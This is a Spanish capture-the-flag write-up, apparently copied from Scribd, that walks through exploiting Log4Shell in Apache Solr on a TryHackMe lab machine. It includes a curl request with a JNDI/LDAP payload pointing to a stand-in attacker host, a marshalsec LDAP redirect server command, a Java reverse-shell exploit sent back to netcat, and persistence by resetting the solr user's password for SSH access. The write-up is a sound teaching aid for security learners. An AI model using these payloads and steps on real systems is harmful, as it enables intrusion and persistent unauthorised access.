0% encontró este documento útil (0 votos)
48 vistas15 páginas

Write-Up Solar Log4j MicroJoan PDF

Este documento resume los pasos para explotar una vulnerabilidad de log4j (Log4Shell) en un servidor Apache Solr. Describe cómo escanear la máquina para encontrar puertos abiertos, analizar el tráfico en el puerto 8983 para encontrar Solr, y ver que usa una versión vulnerable de log4j. Luego, muestra cómo usar curl para ejecutar código de manera remota a través de la vulnerabilidad y verificar la explotación con netcat. Finalmente, explica cómo usar la herramienta marshalsec para instalar un servidor LDAP

Cargado por

Samuel Fomon
Derechos de autor
© © All Rights Reserved
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como PDF, TXT o lee en línea desde Scribd
0% encontró este documento útil (0 votos)
48 vistas15 páginas

Write-Up Solar Log4j MicroJoan PDF

Este documento resume los pasos para explotar una vulnerabilidad de log4j (Log4Shell) en un servidor Apache Solr. Describe cómo escanear la máquina para encontrar puertos abiertos, analizar el tráfico en el puerto 8983 para encontrar Solr, y ver que usa una versión vulnerable de log4j. Luego, muestra cómo usar curl para ejecutar código de manera remota a través de la vulnerabilidad y verificar la explotación con netcat. Finalmente, explica cómo usar la herramienta marshalsec para instalar un servidor LDAP

Cargado por

Samuel Fomon
Derechos de autor
© © All Rights Reserved
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como PDF, TXT o lee en línea desde Scribd
Está en la página 1/ 15

Write-UP (Solar - log4j)

Microjoan_youtube

M Joan Moya (Aka. MicroJoan)

J Microjoan
Microjoan

¿Qué es log4j?

Log4j es una biblioteca de código abierto desarrollada en Java


por la Apache Software Foundation que permite a los
desarrolladores de software escribir mensajes de registro, cuyo
propósito es dejar constancia de una determinada transacción
en tiempo de ejecución.

Primero lo que debemos hacer es escanear la máquina para ver qué puertos
tiene abiertos, para ello utilizaremos la herramienta Nmap:

nmap -sV -p- 10.10......

(Explicación de las diferentes opciones utilizadas en Nmap)

Hacemos un escaneo para encontrar las diferentes versiones de los servicios


encontrados: -sV
Se escanean todos los puertos desde el puerto 0 hasta el 65535: -p-

El resultado del escaneo sería el siguiente, como podemos ver, hemos


encontrar 3 puertos abiertos:

M
J
M Write-UP (Solar - log4j)
J

Si nos fijamos en el puerto 8983 podremos ver que el servicio que se está
corriendo en el es el "Apache Solr":

Dado que sabemos que contiene una web (por el protocolo http en el puerto
8983) vamos a ver que es lo que nos encontramos:

http://10.10.39.140:8983

Veremos que dicha web es el panel de gestión de Solr, en el que podremos


ver información del sistema así como el uso de los recursos Hardware del
servidor...

¿Qué es Solr?

Solr es un motor de búsqueda de código abierto basado en la


biblioteca Java del proyecto Lucene, con API en XML/HTTP y
JSON, resaltado de resultados, búsqueda por facetas, caché, y
una interfaz para su administración.​

M
J
M Write-UP (Solar - log4j)
J

Podemos ver que es la versión 8.11.0, la cual sabemos que corre una versión
de log4j inferior a la 2.17.0 que es la versión que ya no es vulnerable al fallo
de seguridad que vamos a explotar en esta máquina.

"-Dsolr.log.dir" hace referencia a la ruta de memoria donde se encuentra el


archivo que almacena los registros (o eventos) de log4j

Ahora es necesario que descarguemos los archivos de esta sala, simplemente


para ver a modo de ejemplo como se almacenan algunos archivos de registro
dentro de Solr, para ello le daremos al siguiente botón disponible en la sala:

La siguiente pregunta, nos dice que hay un archivo de todos los que nos
hemos descargado que tiene muchas entradas "info" para ello tendremos que
ir uno a uno para ver cual de todos nos brinda mas información...

M
J
M Write-UP (Solar - log4j)
J

De todos los archivos el que mas entradas "info" tiene es "solr.log", adjunto
captura del resultado a continuación:

Al final del archivo, nos encontramos como "punto final" un directorio un tanto
curioso el cual responde a la siguiente pregunta...

Si nos dirigimos al archivo anterior y nos vamos al final del mismo, podremos
ver lo siguiente:

Podemos ver que tenemos una gran cantidad de entradas INFO con
solicitudes a "/admin/cores", por lo tanto, la respuesta correcta a la siguiente
pregunta es:

Además, también vemos que estos registros reflejan un parametro de entrada


que en este caso está vacío, llamado "params":

M
J
M Write-UP (Solar - log4j)
J

Por lo tanto, podemos intuir que este puede ser un vector de ataque, dado que
ya tenemos donde poder insertar código (supuestamente), pero por lo menos
se insinúa la posibilidad de poder insertar código malicioso.

Vamos a ver ahora desde el panel de Solr que es o que nos muestra el
directorio que hemos encontrado en los archivos de registro, para ello
escribiremos lo siguiente en el navegador:

http://10.10.39.140:8983/solr/admin/cores

Y efectivamente nos muestra la estructura de los datos, pero claro, como


hemos visto antes tenemos un parámetro llamado "params"... que está vacío,
puede que este sea un vector de ataque ¿no?.

El paquete Log4j analiza las entradas para enriquecer los datos y, como
resultado, puede evaluar el código en función de los datos introducidos.

Algunos de estos datos en cierta sintaxis pueden ejecutarse a medida que se


registran en los archivos de registro. A continuación se enumeran algunos
ejemplos de sintaxis proporcionados por la sala Tryhackme:

${sys:os.name}
${sys:user.name}
${log4j:configParentLocation}
${ENV:PATH}
${ENV:HOSTNAME}
${java:version}

M
J
M Write-UP (Solar - log4j)
J

Por lo general la carga que se suele utilizar para explotar esta vulnerabilidad
de Log4j es la siguiente:

La sintaxis $ {} se ejecuta a medida que se ingresan en los archivos de


registro.
jdni es la interfaz de directorio y nombres de Java e infiere que el
comando invocará la funcionalidad de esta API que permite que las
aplicaciones Java descubran, busquen y accedan a recursos de datos
externos.
ldap: // indica que el objetivo se comunicará con un punto final controlado
por un atacante externo a través de LDAP.
ATTACKERCONTROLLEDHOST será la dirección IP o del host
controlado por el atacante.

¿Qué es LDAP?

LDAP son las siglas de Protocolo Ligero de Acceso a Directorio.

Se trata de un conjunto de protocolos de licencia abierta que son


utilizados para acceder a la información que está almacenada de
forma centralizada en una red.

Vamos a hacer una prueba de concepto...

Primero que nada vamos a probar a hacer una conexión desde el equipo
víctima hacia el nuestro, primero que nada vamos a utilizar la herramienta
Netcat para abrir un puerto a la escucha:

nc -vnlp 9999

M
J
M Write-UP (Solar - log4j)
J

Para ello, vamos a hacer una llamada Curl a la dirección que hemos
descubierto en el archivo de registros y que posteriormente hemos visualizado
en el navegador navegando por el panel de gestión de Solr...

¿Qué es curl?

Es un comando disponible en la mayoría de los sistemas


basados ​en Unix. Es una abreviatura de «Client URL». Los
comandos de Curl están diseñados para funcionar como una
forma de verificar la conectividad a las URL y como una gran
herramienta para transferir datos.

Esta sintaxis se puede ingresar en cualquier lugar de una aplicación que use
el paquete Log4j donde la aplicación registra los datos de entrada del usuario.

Podemos crear una solicitud HTTP GET de la siguiente manera para activar
esta vulnerabilidad:

M
J
M Write-UP (Solar - log4j)
J

Si ejecutamos el comando anterior rellenando bien las ip del equipo víctima y


la ip de nuestro equipo local, en Netcat nos tiene que salir una conexión
realizada como la siguiente:

¿Qué es lo que ha pasado? Nosotros le hemos enviado una petición a la


librería vulnerable de log4j pasando como parámetro al campo "params" vacío
que vemos en los archivos de registro una petición de conexión a al puerto
especificado que hemos puesto a la escucha de nuestro equipo.

Es por ello por lo que este campo vacío que se guardaba en el archivo de
registro es tan problemático, porque podemos insertar código malicioso en ese
campo vacío y ejecutarlo sin mas llamando por url a la ruta exacta de esa
librería...

Si ejecutamos este comando, de inmediato veremos que ha pasado algo con


Netcat... ¿no?

Con esto verificamos que efectivamente el equipo (o la librería) es vulnerable:

M
J
M Write-UP (Solar - log4j)
J

EMPEZAMOS ATAQUE

Para poder entrar dentro del equipo víctima debemos seguir los siguientes
pasos:

Instalar maven en el sistema

sudo apt install maven

¿Qué es Maven?

Maven es una herramienta que permite automatizar tareas de los


desarrolladores, y facilitar el manejo de dependencias, la
configuración de entornos de trabajos locales, entre muchas otras
cosas.

Descargarnos marshalsec: https://github.com/mbechler/marshalsec


Descomprimimos la herramienta en el escritorio y renombramos la carpeta
como "marshalsec"
Entramos dentro de la carpeta desde terminal y insertamos el siguiente
comando:

¿Qué es Marshalsec?

Permite a un atacante configurar un servidor que aceptará la


búsqueda JNDI entrante (lo que hemos hecho anteriormente por
curl) y luego La biblioteca seguirá la redirección y visitará el
servidor de la base de código (al que se accede a través del
protocolo HTTP), buscará una clase que se sirva allí y la
ejecutará.

M
J
M Write-UP (Solar - log4j)
J

Entramos dentro de la carpeta de Marshalsec desde terminal y insertamos


el siguiente comando:

mvn clean package -DskipTests

Esto será nuestro servidor de respuesta LDAP, que redirigirá las solicitudes a
nuestro servidor HTTP secundario, que servirá la carga útil maliciosa.

(si no os funciona instalad Java 8)

Con nuestro servidor LDAP desplegado, podemos iniciarlo y configurarlo para


redirigir las conexiones a nuestro servidor HTTP secundario que iniciaremos a
continuación.

Para redirigir las conexiones a nuestro servidor HTTP entraremos dentro de la


carpeta "marshalsec" y escribiremos el siguiente comando:

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar


marshalsec.jndi.LDAPRefServer
"http://YOUR.ATTACKER.IP.ADDRESS:8000/#Exploit"

Por lo tanto, la respuesta a la siguiente pregunta tras ejecutar el código


anterior es:

Ahora lo que haremos es crear el exploit en Java que nos permitirá abrir una
shell del equipo víctima, para ello podemos copiar el código de TryHackme:

M
J
M Write-UP (Solar - log4j)
J

Con el comando nano, lo copiamos, cambiamos la dirección ip por la de


nuestro equipo y lo guardamos como "Exploit.java"

Cuando tengamos el archivo con el código creado lo compilaremos, para ello,


necesitamos ejecutar en la dirección donde se encuentra el archivo el
siguiente comando:

javac Exploit.java -source 8 -target 8

(si no os funciona instalad lo siguiente y probad de nuevo)

sudo apt-get install openjdk-11-jdk

Si todo ha funcionado bien, tendría que aparecer un nuevo archivo llamado


"Exploit.class".

Una vez hecho esto, vamos a proceder a abrir un servidor http con python,
para ello haremos uso del siguiente comando:

python3 -m http.server

M
J
M Write-UP (Solar - log4j)
J

Después volveremos a poner a la escucha Netcat en el puerto 9999:

nc -lnvp 9999

Y como hemos hecho antes, volveremos a enviar por curl una petición al
equipo víctima, la cual esa petición llamará a nuestro equipo con Netcat y acto
seguido Marshalsec lo redirigirá a nuestro servidor http que solicitando
"Exploit.class":

curl 'http://TRYHACKME.IP.MACHINE:8983/solr/admin/cores?foo=$\
{jndi:ldap://YOUR.ATTACKER.IP.ADDRESS:1389/Exploit\}'

¡¡Bingo!! Ya tenemos la shell en nuestro equipo, si escribimos el comando


"whoami" nos dirá que usuario somos:

Por lo tanto, la respuesta a la siguiente pregunta es:

Ahora por decirlo de alguna manera estamos en un "subshell" (interprete de


comandos básica), vamos a estabilizar nuestra sesión con una shell con el
siguiente comando:

python3 -c "import pty; pty.spawn('/bin/bash')"

M
J
M Write-UP (Solar - log4j)
J

ESQUEMA VISUAL DE
FUNCIONAMIENTO
1- LLAMADA CURL AL EQUIPO VÍCTIMA

2- EL EQUIPO VÍCTIMA NOS RESPONDE CON UNA BÚSQUEDA NDI ENTRANTE

3- NUESTRO SERVIDOR DE RESPUESTA LDAP UTILIZA LA LIBRERIA MARSHALSEC PARA


REDIRIGIR LA PETICIÓN A NUESTRO SERVIDOR HTTP

4- EL SERVIDOR HTTP DE PYTHON EJECUTA EL EXPLOIT DE JAVA Y ENVÍA LA


EJECUCIÓN A NUESTRO NETCAT

5- NETCAT ABRE UNA SUBSHELL QUE NOSOTROS CONVERTIREMOS EN UNA SHELL


ESTABLE

1 2

NUESTRO EQUIPO

M
J
M Write-UP (Solar - log4j)
J

Ahora lo que tenemos que hacer es crear una persistencia, para ello
cambiaremos la contraseña de Solr a "password" para poder entrar por ssh
siempre que queramos, para ello, tendremos que convertirnos en
administrador por lo que escribiremos "sudo bash" y después con "whoami"
veremos que somos root:

Ahora lo que tenemos que hace es crear una persistencia, para ello
cambiaremos la contraseña de Solr a "password" para poder entrar por ssh
siempre que queramos, para ello, tendremos que convertirnos en
administrador por lo que escribiremos "sudo bash" y después con "whoami"
veremos que somos root:

Para cambiar la contraseña del usuario Solr escribiremos el siguiente


comando en la terminal:

passwd solr

Nos pedirá que repitamos la contraseña dos veces y listo!!

Vamos a entrar por ssh a la máquina introduciendo el usuario y la ip de la


misma:

ssh [email protected]

M
J
M Write-UP (Solar - log4j)
J

Introducimos la contraseña y ya estaría, tendríamos acceso a la máquina de


manera persistente

M
J

También podría gustarte